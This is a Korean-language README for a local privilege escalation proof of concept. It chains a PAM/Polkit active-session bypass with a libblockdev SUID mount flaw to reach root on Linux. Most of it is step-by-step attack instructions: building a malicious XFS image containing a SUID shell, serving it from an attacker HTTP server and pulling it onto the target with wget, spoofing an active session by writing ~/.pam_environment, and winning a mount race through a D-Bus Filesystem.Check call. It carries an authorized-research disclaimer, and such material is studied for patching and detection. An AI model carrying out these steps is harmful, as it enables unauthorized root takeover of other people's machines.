
취약한 Linux 시스템에서 로컬 권한 상승(LPE)을 달성하기 위해 CVE-2025-6018(PAM/Polkit 활성 세션 우회) 및 CVE-2025-6019(libblockdev SUID 마운트 결함)를 연계하는 개념 증명입니다.
취약한 Linux 시스템에서 root 액세스를 달성하기 위해 CVE-2025-6018(PAM/Polkit 활성 세션 우회) 및 CVE-2025-6019(libblockdev SUID 마운트 결함)을 연결하는 강력한 개념 증명(PoC)입니다.
이 도구는 교육 목적 및 승인된 보안 연구 전용입니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에는 사용하지 마십시오.
이 익스플로잇은 일반 사용자에서 root로 권한을 상승시키기 위해 두 가지 논리적 결함을 연결합니다.
Active=yes로 표시될 수 있습니다. 이 트릭은 시스템이 원격 사용자가 콘솔에 물리적으로 존재한다고 믿게 하여 udisks2와 같은 하드웨어 관리 도구에 대한 비밀번호 요구 사항을 우회합니다.udisks2에서 사용하는 libblockdev 라이브러리가 유지 관리 작업(예: Check 또는 Resize)을 위해 파일시스템을 임시로 마운트할 때 nosuid 보안 플래그를 적용하지 못합니다.Active=yes 세션 상태를 이용하여 비밀번호 없이 이 이미지를 루프 장치로 마운트합니다.Filesystem.Check에 D-Bus 호출을 보냅니다. 이로 인해 udisks2는 이미지를 확인하기 위해 임시로 마운트합니다. 결정적으로 이 임시 마운트에는 nosuid가 없습니다./proc/mounts를 실시간으로 모니터링합니다. 임시 마운트가 나타나는 순간 시스템이 마운트를 해제하기 전에 SUID 페이로드를 실행합니다.대상 머신에는 mkfs.xfs나 gcc와 같은 도구가 없는 경우가 많으므로 페이로드를 로컬에서 생성합니다.
Kali/Parrot에서 빌드 스크립트를 실행합니다:
./build_poc.sh
exploit.img(SUID 셸이 포함된 400MB XFS 이미지)를 생성합니다.catcher(레이스 컨디션 승리자)를 컴파일합니다.대상에 파일을 업로드합니다: Python 서버를 시작합니다:
python3 -m http.server 80
대상 머신에서(예: /tmp):
wget http://<YOUR_IP>/exploit.img
wget http://<YOUR_IP>/catcher
chmod +x catcher
익스플로잇 스크립트를 다운로드합니다:
이 저장소의 exploit.sh 내용을 대상 머신에 저장합니다.
익스플로잇을 실행합니다:
chmod +x exploit.sh
./exploit.sh
루트 셸을 즐기세요: 스크립트는 자동으로 루프 장치를 설정하고 백그라운드 catcher를 시작한 다음 취약점을 트리거합니다. 즉시 루트 셸로 떨어지게 됩니다.
스크립트가 비밀번호를 요구한다면 SSH 세션이 활성 상태가 아니라는 뜻입니다. 해결 방법:
~/.pam_environment를 생성합니다:
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
loginctl show-session $XDG_SESSION_ID | grep Active로 확인합니다. 반드시 Active=yes로 표시되어야 합니다.취약점 공격 창은 단 몇 밀리초에 불과합니다.
build_poc.sh에 포함됨)를 사용하고 있는지 확인하세요. Bash 루프가 아닙니다.Resize보다 더 안정적인 Filesystem.Check 메서드를 사용합니다.build_poc.sh (공격자 측)악성 이미지 생성을 자동화하고 정적 바이너리를 컴파일합니다.
exploit.sh (대상 측)오케스트레이터입니다. 다음을 처리합니다:
catcher 시작.udisksctl을 통한 루프 장치 설정.Filesystem.Check 호출 트리거.